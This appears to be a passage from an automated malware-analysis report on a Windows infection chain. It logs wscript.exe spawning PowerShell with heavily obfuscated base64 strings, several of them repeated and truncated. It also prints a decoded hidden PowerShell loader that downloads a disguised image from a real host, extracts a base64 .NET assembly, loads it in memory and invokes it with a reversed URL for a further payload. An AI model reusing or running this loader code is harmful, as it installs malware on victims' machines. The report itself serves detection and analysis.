reHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTre
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTre
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTre

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgD